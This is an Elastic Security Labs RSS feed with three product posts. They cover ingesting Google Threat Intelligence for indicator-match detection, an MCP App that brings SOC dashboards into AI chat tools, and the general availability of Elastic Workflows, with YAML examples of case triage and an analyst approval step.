<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Product Updates</title>
        <link>https://www.elastic.co/fr/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Fri, 05 Jun 2026 16:44:27 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Product Updates</title>
            <url>https://www.elastic.co/fr/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/fr/security-labs</link>
        </image>
        <copyright>© 2026. elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[From API key to live threat detections in minutes: how Elastic Security ingests Google Threat Intelligence]]></title>
            <link>https://www.elastic.co/fr/security-labs/elastic-security-google-threat-intelligence</link>
            <guid>elastic-security-google-threat-intelligence</guid>
            <pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Find out how Elastic Security ingests Google Threat Intelligence for continuous detection and uses AI-driven workflows to enrich alerts in real time, from API key to live detections in minutes.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security natively ingests Google Threat Intelligence: known-malicious IPs, domains, URLs, and file hashes matched against your telemetry the moment they appear, each carrying a verdict and a 0–100 threat score. The setup consists of an API key and two data streams, with no extra infrastructure. When an indicator is ambiguous, workflows built on Agent Builder query VirusTotal in real time, enrich the alert, correlate with your telemetry, and summarize findings in real time.</p>
<h2>How threat intelligence works in Elastic Security</h2>
<p>In modern security operations, threat intelligence must work across detection, investigation, and response, not sit in a reference table.</p>
<p>Elastic Security supports this in two ways. Ingested intelligence via <a href="https://www.elastic.co/fr/docs/reference/integrations/threat-intelligence-intro">integrations</a> drives continuous detection and historical hunting. Agentic workflows, built on Elastic Workflows and Agent Builder, provide on-demand enrichment and investigative reasoning during an active investigation. This post focuses on how Elastic's Google Threat Intelligence (GTI) integration powers ingestion-based detection and hunting, and how it fits into a broader, more dynamic SOC model where AI-driven workflows use that intelligence at alert time.</p>
<h2>What Google Threat Intelligence provides</h2>
<p>The Google Threat Intelligence integration brings curated threat intelligence directly into Elastic Security, making it actionable across detection and investigation. GTI combines intelligence from Google's global security visibility with VirusTotal data to deliver enriched context on indicators of compromise, with coverage across malware, ransomware, phishing, infostealers, malicious infrastructure, threat actors, and other adversary activity.</p>
<p>Each indicator is returned with: a verdict (Malicious, Suspicious, or Undetected), a severity, and a composite threat score from 0–100. Because that score is derived from multiple signals, security teams can prioritize indicators based on confidence rather than their presence alone.</p>
<h2>How the Google Threat Intelligence integration works in Elastic Security</h2>
<p>Setup takes only a few minutes. You provide your GTI API key in the Elastic integration, and ingestion begins on a scheduled polling interval, with no additional infrastructure or collectors required. The integration ingests two primary data streams.</p>
<table>
<thead>
<tr>
<th>Purpose</th>
<th>Threat List</th>
<th>IOC Stream</th>
</tr>
</thead>
<tbody>
<tr>
<td>Purpose</td>
<td>High-confidence detection</td>
<td>Threat hunting + early visibility</td>
</tr>
<tr>
<td>Volume</td>
<td>Curated, lower volume</td>
<td>Broader, higher volume</td>
</tr>
<tr>
<td>Best for</td>
<td>Precision-critical alerting</td>
<td>Emerging and exploratory activity</td>
</tr>
</tbody>
</table>
<p>As data is ingested, indicators are standardized using the Elastic Common Schema (ECS), along with GTI context, such as verdict, severity, score, malware families, threat actor associations, and campaign metadata (where available). This enables GTI to be searched and correlated consistently alongside other ECS-compliant intelligence sources (including TAXII feeds), custom intelligence, and the broader security telemetry already present in Elastic Security. Elastic also manages indicator lifecycle automatically, including expiration and revocation, which reduces matches against stale intelligence. Once ingested, GTI indicators become part of the same searchable dataset as logs, endpoint, and cloud telemetry, enabling unified correlation across the environment.</p>
<h2>Using Google Threat Intelligence for indicator match detections</h2>
<p>Elastic's <a href="https://www.elastic.co/fr/docs/solutions/security/detect-and-alert/indicator-match">indicator match rules</a> use GTI data to detect when known malicious IPs, domains, URLs, or file hashes appear in security telemetry, continuously correlating intelligence against observed activity and surfacing matches for investigation. Because GTI provides structured fields such as score, verdict, and severity, teams can tune detections by confidence: high-confidence indicators can trigger immediate escalation, while lower-confidence indicators can be routed for review or further validation.</p>
<h2>Threat hunting with GTI indicators in Elastic Security</h2>
<p>With GTI metadata, analysts can pivot from a single IOC to all associated infrastructure and search historical telemetry; not just check if an indicator appeared, but understand what campaign it belongs to.</p>
<p>GTI enriches indicators with metadata such as threat actor associations and malware family context, allowing analysts to move beyond single-IOC searches. Hunters can pivot from an adversary or campaign to all associated indicators (IPs, domains, and file hashes) and search across historical telemetry using ES|QL. This makes it straightforward to determine whether known malicious infrastructure has ever interacted with the environment.</p>
<h2>Monitoring threat intelligence activity with GTI dashboards</h2>
<p>The integration includes prebuilt dashboards that provide visibility into threat intelligence activity and the detections GTI drives. Using saved searches and aggregated metrics, these dashboards summarize observed threats across malware families, campaigns, threat actors, toolkits, and vulnerabilities, helping SOC teams understand which threat types are most active in their environment and how intelligence is being operationalized.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-google-threat-intelligence/image1.png" alt="Elastic Security’s Google Threat Intelligence Adversary Intelligence dashboard" /></p>
<h3>Google Threat Intelligence feed categories and coverage</h3>
<p>GTI includes 14 categorized feed categories, so organizations can tailor coverage to their needs and subscription level. Supported categories include:</p>
<ul>
<li>Cryptominers</li>
<li>Trending threats</li>
<li>Initial access and delivery vectors</li>
<li>Infostealers</li>
<li>IoT threats</li>
<li>Linux malware</li>
<li>Malicious infrastructure</li>
<li>General malware</li>
<li>Mobile threats</li>
<li>macOS threats</li>
<li>Phishing</li>
<li>Ransomware</li>
<li>Threat actors</li>
<li>Vulnerability exploitation and weaponization</li>
</ul>
<p>Availability depends on your Google Threat Intelligence subscription tier, and additional feeds can be enabled without changes to the Elastic configuration.</p>
<h2>Agentic enrichment and real-time triage with Elastic Workflows</h2>
<p>For ambiguous or emerging indicators not yet in an indexed feed, Elastic Security supports AI-driven investigation through Agent Builder and Elastic Workflows, which complement intelligence ingestion by enabling real-time enrichment and reasoning during an investigation.</p>
<p>With workflows, an analyst is no longer limited to the intelligence already in the index. During alert triage, a workflow can query external intelligence and reputation services such as VirusTotal in real time, enrich an alert with fresh context about the IPs, domains, or file hashes involved, correlate that live intelligence against Elastic telemetry, and summarize the findings into a structured investigation context that the analyst can act on. Agent Builder extends this further: teams can compose reusable, task-specific capabilities, such as agent skills for alert triage, enrichment, or case handling, so the assistant executes multi-step investigative tasks with the consistency of traditional automation, through a natural-language interface.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-google-threat-intelligence/image3.png" alt="Elastic Workflows editor showing the &quot;Send Hash to VirusTotal&quot; workflow" /></p>
<p>This introduces a complementary model. Ingested intelligence (GTI, TAXII, and custom feeds) provides continuous detection and historical hunting against indicators you already hold. Agentic workflows provide on-demand enrichment and investigative reasoning at alert time, reaching out to live sources and assembling context on the fly. Together, they enable teams to detect known threats at scale and provide context to investigations.</p>
<h2>Getting started with Google Threat Intelligence in Elastic Security</h2>
<p>To use the <a href="https://www.elastic.co/fr/docs/reference/integrations/ti_google_threat_intelligence">Google Threat Intelligence integration</a> in Elastic Security, you need an active GTI license and API key.</p>
<ol>
<li><strong>Install:</strong> open Integrations catalog in Kibana → search &quot;Google Threat Intelligence&quot; → add integration → enter your API key</li>
<li><strong>Configure the data streams:</strong> enable Threat List (high-confidence detections) and IOC Stream (hunting coverage) → set polling frequency to match API limits and operational needs</li>
<li><strong>Tune:</strong> prebuilt indicator match rules activate automatically; if alert volume is high, start by filtering on confidence threshold</li>
</ol>
<p>All indicators are stored in Elasticsearch and accessible through the GTI threat intelligence data view, enabling search, correlation, and custom detection logic. Full configuration details and troubleshooting guidance are available in the official documentation.</p>
<h2>Tying it all together</h2>
<p>Threat intelligence only matters if a team can act on it. By bringing Google Threat Intelligence into Elastic Security, SOC teams get ingestion-based detection running continuously across their telemetry and agent-driven investigation reasoning over that intelligence in real time. The combination lets threat intelligence operate continuously and contextually, helping analysts move from indicators to confident decisions faster.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-google-threat-intelligence/image2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic Security MCP App: Interactive security operations inside your AI Tools]]></title>
            <link>https://www.elastic.co/fr/security-labs/elastic-security-mcp-app</link>
            <guid>elastic-security-mcp-app</guid>
            <pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security is the first security vendor to ship an interactive UI in AI tools. Triage alerts, hunt threats, correlate attack chains, and open cases, all from inside your AI conversation.]]></description>
            <content:encoded><![CDATA[<p>Every SOC analyst knows the drill: an alert fires, and the next ten minutes are spent switching between a triage dashboard, a threat hunt, a case file, and the AI tool that told you to look in the first place.</p>
<p>Recently, we introduced <a href="https://www.elastic.co/fr/search-labs/blog/mcp-apps-elastic">MCP Apps for Elastic</a>, built on the open MCP Apps extension to the Model Context Protocol, that lets an MCP tool return an interactive UI alongside its text response, rendered inline in Claude Desktop, Claude.ai, VS Code Copilot, Cursor, or any compatible host. This post goes deep on the <a href="https://github.com/elastic/example-mcp-app-security">Elastic Security MCP App</a>, We’ll go over six interactive dashboards covering the core SOC loop, from alert triage to closed case, without leaving the conversation.</p>
<p>Elastic already ships AI agents inside the platform: <a href="https://www.elastic.co/fr/guide/en/security/current/attack-discovery.html">Attack Discovery</a> and <a href="https://www.elastic.co/fr/elasticsearch/agent-builder">Agent Builder</a> work natively with your security data in Kibana. But analysts and security engineers also spend time in Claude, VS Code, and Cursor, writing detection logic, researching threats, and increasingly triaging findings. The question isn't whether to use Elastic's built-in AI or external tools. It's whether the external tools can give you the same interactive, visual workflow you get in Kibana. That's what the Security MCP App solves.</p>
<p>Security operations are inherently visual and interactive. An analyst scans alerts grouped by host, expands a process tree, traces a parent-child chain, and drags a suspicious entity onto an investigation graph. That loop doesn't survive compression into text. The Elastic Security MCP App brings those surfaces into the AI conversation, so the answer <em>is</em> the workflow, not a summary of it.</p>
<h2>Why the Elastic Security MCP App matters for the SOC</h2>
<p>When an agent tells a SOC analyst, &quot;There are 47 alerts on host-314, here's a summary,&quot; it hasn't done any work. It's just pointed at where the work starts. The actual work lives in the alert list, the process tree, the investigation graph, and the case file. You can't do it from a paragraph of text.</p>
<p>The security MCP App returns the workflow itself. The analyst prompts the agent, and the agent returns an interactive dashboard in the chat where the analyst can drill into alerts, run threat hunts, correlate attack chains, and open cases, without losing the thread of the conversation. Everything you do in the MCP App writes back to <a href="https://elastic.co/elasticsearch">Elasticsearch</a> and Kibana through the same APIs the product uses. From Cases, alerts, and findings to hunt queries; you lose none of this context because it does not just live in the chat, but it is all stored in your Elastic cluster and Kibana environments, waiting to be picked back up when you are ready.</p>
<h2>Six interactive dashboards</h2>
<p>We chose six elements that map to the core SOC loop: detect, triage, hunt, correlate, respond, and test. Each one is a React UI that renders inline when the agent calls the corresponding tool:</p>
<table>
<thead>
<tr>
<th align="left">Tool</th>
<th align="left">What it does</th>
<th align="left">Interactive UI</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Alert Triage</td>
<td align="left">Fetch, filter, and classify security alerts</td>
<td align="left">Severity grouping, AI verdict cards, process tree, and network events</td>
</tr>
<tr>
<td align="left">Attack Discovery</td>
<td align="left">AI-correlated attack chain analysis with on-demand generation</td>
<td align="left">Attack narrative cards with confidence scoring, entity risk, and MITRE mapping</td>
</tr>
<tr>
<td align="left">Case Management</td>
<td align="left">Create, search, and manage investigation cases</td>
<td align="left">Case list with alerts, observables, comments tabs, and AI actions</td>
</tr>
<tr>
<td align="left">Detection Rules</td>
<td align="left">Browse, tune, and manage detection rules</td>
<td align="left">Rule browser with KQL search, query validation, and noisy-rule analysis</td>
</tr>
<tr>
<td align="left">Threat Hunt</td>
<td align="left">ES|QL workbench with entity investigation</td>
<td align="left">Query editor, clickable entities, and investigation graph</td>
</tr>
<tr>
<td align="left">Sample Data</td>
<td align="left">Generate ECS security events for common attack scenarios</td>
<td align="left">Scenario picker with four pre-built attack chains</td>
</tr>
</tbody>
</table>
<p>Each tool returns a compact text summary that the model can reason over, alongside the interactive UI the analyst acts on. The UI can also fetch fresh data behind the scenes through the MCP host bridge. The full tool model and bridge API live in the <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/architecture.md">repo's architecture doc</a>.</p>
<p>The app also ships with <a href="https://github.com/elastic/example-mcp-app-security/tree/main/skills">Claude Desktop skills</a>, <code>SKILL.md</code> files that teach the agent when and how to use each tool. You can download the pre-built skill zips from the <a href="https://github.com/elastic/example-mcp-app-security/releases/latest">latest release</a>.</p>
<h2>From alert to case</h2>
<p>The five skills cover the core SOC loop. Each one picks up a prompt, calls a tool, and returns an interactive dashboard alongside a text summary that the model reasons over. The walkthrough below starts from scratch; if you're following along, the first step populates the cluster so the rest of the loop has data to work with.</p>
<p><strong>Generate sample data.</strong> Starting with a fresh cluster? The Sample Data skill generates realistic <a href="https://www.elastic.co/fr/docs/reference/ecs">ECS</a> security events for four common attack scenarios: ransomware, lateral movement, credential theft, and data exfiltration. Ask the agent to generate sample data, pick a scenario, and within seconds, you have a populated alert queue to work from. Everything that follows in this walkthrough uses these events.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/-4NLaMN51mI&quot; title=&quot;Generate sample data&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><strong>Triage alerts.</strong> Ask the agent to triage by host, rule, user, or time window. The Alert Triage skill returns a dashboard of AI verdicts above the raw alert list, with one verdict per detection rule classifying that rule's activity as benign, suspicious, or malicious, each with a confidence score and a recommended action. Click any alert to open a detailed view with a process tree, network events, related alerts, and MITRE ATT&amp;CK tags. No tab switching between your AI tool and the alerts dashboard inside Kibana; everything happens in real-time inside the conversation.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/l_GXdJpAGaQ&quot; title=&quot;Alert Triage&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-mcp-app/image2.png" alt="Alert Triage" /></p>
<p><strong>Hunt for threats.</strong> Ask the agent to hunt across your indices. The Threat Hunt skill returns an <a href="https://www.elastic.co/fr/docs/explore-analyze/query-filter/languages/esql">ES|QL</a> workbench with the query pre-populated and auto-executed, with every entity in the results clickable for drill-down. The model writes a short read-out below the table: what's unusual, what's connected, and what's worth a closer look. It then offers the next pivot: go deeper into the threat hunt, or hand off to another skill. Attack Discovery is the natural next step; it gathers more context on the alerts you've triaged and the threats you've hunted, correlating them into attack chains.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/s5EA-fJaCtQ&quot; title=&quot;Hunt for Threats&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><strong>Run Attack Discovery.</strong> The Attack Discovery skill triggers the <a href="https://www.elastic.co/fr/guide/en/security/current/attack-discovery.html">Attack Discovery API</a> and returns a ranked list of findings. Each finding is a set of related alerts stitched into one attack chain, with MITRE tactics, a risk score, a confidence label, and the impacted hosts and users surfaced up front. The agent's summary lands below the findings in the same rank order, and the conversation now holds everything needed to act: hunt queries, triage decisions, correlated chains, all staged for the next step.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/SeTw75JVLiM&quot; title=&quot;Run Attack Discovery&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><strong>Open cases without leaving the chat.</strong> Approve findings in bulk or ask the agent to open cases for specific alerts. The Case Management skill creates one case per approved finding (source alerts attached, and MITRE tactics inherited from the attack chain) and renders the live case list inline. Click a case for its detail view, which includes a row of AI action buttons: <em>Summarize case</em>, <em>Suggest next steps</em>, <em>Extract IOCs</em>, and <em>Generate timeline</em>. Each one drops a structured prompt back into the chat, so the agent picks up the case context without needing a reintroduction. The agent's summary sits below the case list and covers the full IR queue, including the cases just opened and earlier findings that still need one.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/rBRQN2BE41U&quot; title=&quot;Case Management&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p>Every step in this walkthrough runs the same loop: a prompt comes in, the skill picks it up, and the tool returns a compact text summary for the model to reason over, alongside an interactive UI that the analyst acts on. Chain the skills together, and they compose into an end-to-end SOC flow; hunt, triage, correlate, open cases, and drive the next pivot, all with the model carrying the session context across every step. Invoke any one on its own, and it's still the full dashboard, pointed at whatever slice of your data you name. Either way, the work accumulates inside the conversation; no tab switching, no copy-paste, no hand-offs.</p>
<p>One more skill rounds out the app: a detection-rule browser for tuning noisy rules, filtering by rule type, and flagging high-noise detections. A follow-up post will go deep on all six dashboards: investigation graph, attack-flow canvas, and end-to-end walkthrough.</p>
<p>Here’s the full walkthrough of this demo.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/WQXrKLO5qVg&quot; title=&quot;Elastic MCP Security App&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<h2>How Elastic's InfoSec team uses the Security MCP App</h2>
<p>The MCP App's value compounds when the conversation has access to more than just Elastic Security. In a real SOC workflow, a single alert often leads to questions that span multiple systems: cases in Kibana, threads in Slack, issues in Jira, and cloud infrastructure logs. Traditionally, an analyst would pivot across each of those tools manually, assembling context one tab at a time.</p>
<p>With the Security MCP App connected alongside MCP servers for Slack, Jira, and cloud platforms, the agent can pull the full picture into one conversation: review a case and its attached alerts, cross-reference Slack channels for related outages or planned changes, check Jira for known issues, and compile a forensic summary covering root cause, actions already taken, and outstanding tasks, all before the analyst writes a single note. Once the analysis is reviewed and approved, the agent writes the findings back: a structured comment on the Kibana case, a summary posted to the relevant Slack channel, and alerts closed with context attached.</p>
<p>Cloud-based alerting benefits the same way. Strange activity in a cloud environment often turns out to be a known outage or an infrastructure change already under discussion in Slack or Jira. The agent can check those sources in seconds, correlate the context, and either close the alert with an explanation or escalate it with the full picture already attached.</p>
<blockquote>
<p>The MCP App for Elastic Security bridges the gap between automated detection and manual hunting. By bringing our security data directly into a single interface within Claude Desktop, we surfaced 'silent' threats in under an hour — risks that didn't trigger standard alerts but required immediate action. It's a force multiplier for our analysts.
— Mandy Andress, Chief Information Security Officer (CISO), Elastic</p>
</blockquote>
<h2>How it works</h2>
<p>Each MCP App is a small Node.js server whose tools return both a compact text summary for the model and a React UI that the host renders inline. The server exposes two layers: model-facing tools the LLM calls (returning lightweight summaries for reasoning), and app-only tools the UI calls behind the scenes for interactivity, like expanding process trees or running ES|QL queries. Each view is a self-contained React app rendered in a sandboxed iframe. Because it's built on the open MCP App spec, the same server runs on any compatible host; see the <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/architecture.md">repo's architecture doc</a> for the full design</p>
<h2>The agentic SOC, interactive</h2>
<p>Two properties about this pattern are worth stating directly. First, the tool result is no longer the end of the work; it is the start of it: the conversation returns an interface you can act on, not a summary you have to act from. Second, this only works because Elasticsearch and Kibana already expose the security APIs. The MCP App is a thin interactive layer over the detection, investigation, and case management capabilities Elastic Security already ships.</p>
<p>Attack Discovery already powers the correlated findings view inside this app. Inside the stack, the same agentic pattern goes further: <a href="https://www.elastic.co/fr/search-labs/blog/elastic-workflows-automation">Elastic Workflows</a> automate the deterministic steps (enrich entities, create cases, and isolate hosts), while <a href="https://www.elastic.co/fr/elasticsearch/agent-builder">Agent Builder</a> reasons over the data and invokes those workflows as tools. The MCP App brings that same security surface into the external conversation; Workflows and Agent Builder deepen it inside the stack. Different entry points, same Elastic Security APIs underneath.</p>
<p>That architectural choice is deliberate. The MCP server runs on the analyst's own machine and connects directly to Elasticsearch using their API key. The LLM receives only compact summaries for reasoning, while the UI independently loads full investigation data through the same server. It adds a surface for analysts who already work in Claude, VS Code, or Cursor without introducing a dependency they have to adopt or a governance model they have to rebuild. The same role-based access controls you enforce through your Elasticsearch API keys apply to every action the app takes, which means the operational result is straightforward: analysts spend less time switching tools and more time closing cases.</p>
<h2>Try the Elastic Security MCP App</h2>
<p>The Elastic Security MCP App requires Elasticsearch 9.x with Security enabled, plus Kibana for cases, rules, and Attack Discovery. The fastest path is the one-click <code>.mcpb</code> bundle from the <a href="https://github.com/elastic/example-mcp-app-security/releases/latest">latest release</a>; double-click it in Claude Desktop, and you'll be prompted for your Elasticsearch URL and API key. Setup guides for <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-cursor.md">Cursor</a>, <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-vscode.md">VS Code</a>, <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-claude-code.md">Claude Code</a>, <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-claude-ai.md">Claude.ai</a>, and building from source are in the <a href="https://github.com/elastic/example-mcp-app-security">repo</a>.</p>
<p>Don't have an Elasticsearch cluster yet? Start a free <a href="https://cloud.elastic.co/registration">Elastic Cloud trial</a>. For more on the building blocks behind the app, see the related Security Labs posts on <a href="https://www.elastic.co/fr/security-labs/from-alert-fatigue-to-agentic-response">Elastic Workflows and Agent Builder</a>, <a href="https://www.elastic.co/fr/security-labs/agent-skills-elastic-security">Agent Skills</a>, and <a href="https://www.elastic.co/fr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">Attack Discovery</a>.</p>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-mcp-app/elastic-security-mcp-app.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Elastic Workflows GA: automation where your security data already lives]]></title>
            <link>https://www.elastic.co/fr/security-labs/elastic-workflows-ga-9-4</link>
            <guid>elastic-workflows-ga-9-4</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Workflows is generally available in 9.4, bringing production-ready security automation with deeper case management integration, human-in-the-loop support, natural language authoring, and more.]]></description>
            <content:encoded><![CDATA[<p>Elastic Workflows is generally available in 9.4. It is the automation layer built directly into Elastic, running where your data lives across Security, Observability, and Search. While this post focuses on a security deep dive, the same workflow capabilities apply across solutions, with no separate platform to deploy and no data to move. When an alert fires or a schedule triggers, a Workflow executes: querying Elasticsearch, enriching with threat intel, creating cases, calling external APIs, and notifying your team. Define it in YAML or describe it in natural language and let AI generate the workflow.</p>
<p>The <a href="https://www.elastic.co/fr/security-labs/security-automation-with-elastic-workflows">9.3 Tech Preview</a> introduced the foundation for native automation in Elastic. 9.4 brings it to general availability with production stability and significantly expanded capabilities. Case management gets 25 dedicated automation steps covering the full lifecycle. Human-in-the-loop becomes a first-class Workflow primitive. Natural language authoring moves to Tech Preview. The platform gains more flow-control primitives (<code>while</code>, <code>switch</code>, iteration control), data-transformation steps for working with collections, deeper AI integration with <a href="https://www.elastic.co/fr/elasticsearch/agent-builder">Agent Builder</a>, and broader event-driven triggers. Production-ready automation across Elastic.</p>
<h2>Case automation at scale</h2>
<p>The biggest addition for security teams is case management. In the Tech Preview, working with cases involved four generic steps: creating, retrieving, updating, and commenting. Anything beyond that required raw API calls.</p>
<p>Now there are 25 dedicated <code>cases.*</code> steps covering the full lifecycle: create, find, find similar, update, close, assign, unassign, add alerts, add observables, add comments, add tags, set severity, set status, and more. Each step is typed, validated, and appears in the YAML editor's autocomplete, which means natural-language authoring can generate them accurately, too.</p>
<p>Here's what a realistic triage workflow looks like. An alert fires. The Workflow checks whether a case already exists for this alert. If not, it creates one, attaches the alert and observables, assigns the on-call analyst, and routes severity based on risk score:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-workflows-ga-9-4/image3.png" alt="" /></p>
<p>The code below shows an example of a workflow described using YAML:</p>
<pre><code>name: Triage Workflow
enabled: true
triggers:
  - type: alert

steps:
  - name: check_existing
    type: cases.getCasesByAlertId
    with:
      alert_id: &quot;{{ event.alerts[0]._id }}&quot;

  - name: route
    type: if
    condition: &quot;steps.check_existing.output : ''&quot;
    steps:
      - name: update_existing
        type: cases.addComment
        with:
          case_id: &quot;{{ steps.check_existing.output[0].id }}&quot;
          comment: |
            Correlated alert: {{ event.rule.name }}
            Source: {{ event.alerts[0].source.ip | default: &quot;unknown&quot; }}
            Risk score: {{ event.alerts[0].kibana.alert.risk_score }}
    else:
      - name: create_case
        type: cases.createCase
        with:
          owner: securitySolution
          title: &quot;{{ event.rule.name }} - {{ event.alerts[0].host.name }}&quot;
          description: |
            Auto-created from detection rule: {{ event.rule.name }}
            Host: {{ event.alerts[0].host.name }}
            Source IP: {{ event.alerts[0].source.ip | default: &quot;N/A&quot; }}
          severity: high
          tags:
            - auto-triage
            - &quot;{{ event.rule.name }}&quot;

      - name: attach_evidence
        type: cases.addAlerts
        with:
          case_id: &quot;{{steps.create_case.output.case.id}}&quot;
          alerts:
            - alertId: &quot;{{ event.alerts[0]._id }}&quot;
              index: &quot;{{ event.alerts[0]._index }}&quot;

      - name: add_observables
        type: cases.addObservables
        with:
          case_id: &quot;{{steps.create_case.output.case.id}}&quot;
          observables:
            - typeKey: observable-type-ipv4
              value: &quot;{{ event.alerts[0].source.ip }}&quot;
            - typeKey: observable-type-file-hash
              value: &quot;{{ event.alerts[0].file.hash.sha256 }}&quot;
        on-failure:
          continue: true
</code></pre>
<p>The Workflow automatically handles deduplication, evidence attachment, observable enrichment, graceful handling of missing fields, and analyst assignment. The analyst opens Kibana and sees a case with all the context already there.</p>
<p>The 25 new <code>cases.*</code> steps include create, find, find similar, update, close, delete, assign, unassign, add/remove alerts, add/remove observables, add/update/delete comments, add/remove tags, set severity, set status, get by ID, get by alert ID, and more for custom fields, user actions, and metrics. Each step is typed and validated. If you're using natural language authoring, the AI can generate them accurately because they're part of the schema.</p>
<p>As Workflows mature, you'll see more domain-specific steps for detection rule management, endpoint response actions, and threat intelligence operations.</p>
<h2>Human checkpoints in automated Workflows</h2>
<p>Case automation handles the mechanical work, but not every decision should be fully automated. AI can classify an alert and gather context, but the analyst should decide whether to escalate. The question is how much mechanical work happens before they make that call.</p>
<p><code>waitForInput</code> pauses a Workflow for human judgment. The Workflow runs the investigation, gathers evidence, classifies the alert with AI, and stops. It presents structured findings and waits. The analyst reviews, approves or redirects, and adds notes, and then the Workflow resumes based on their input.</p>
<p>As the following image shows, the automation handles the investigation, but the analyst makes the decision before the automation executes it.<br />
<img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-workflows-ga-9-4/image1.png" alt="" /><br />
<em>Classifies incoming alerts with AI, pauses for analyst review and approval, and only escalates approved cases by creating a high-severity incident with context from both the model and the analyst.</em></p>
<pre><code>name: HITL Example
enabled: true
triggers:
  - type: alert

steps:
  - name: classify
    type: ai.classify
    connector-id: Anthropic-Claude-Sonnet-4-6
    with:
      includeRationale: true
      input: ${{ event.alerts[0] }}
      categories:
        - true_positive
        - false_positive
        - needs_investigation

  - name: approval_gate
    type: waitForInput
    with:
      message: |
        Alert: {{ event.rule.name }}
        Classification: {{ steps.classify.output.category }}
        Rationale: {{ steps.classify.output.rationale }}
        Review the classification and approve to escalate.
      schema:
        type: object
        properties:
          approved:
            type: boolean
            title: Approve escalation
          notes:
            type: string
            title: Analyst notes
        required:
          - approved

  - name: escalate
    type: if
    condition: &quot;steps.approval_gate.output.approved : true&quot;
    steps:
      - name: create_escalated_case
        type: cases.createCase
        with:
          owner: securitySolution
          title: &quot;[Escalated] {{ event.rule.name }}&quot;
          description: |
            Escalated by analyst after AI classification.
            Classification: {{ steps.classify.output.category }}
            Notes: {{ steps.approval_gate.output.notes }}
          severity: high
          tags:
            - escalated
            - analyst-reviewed

</code></pre>
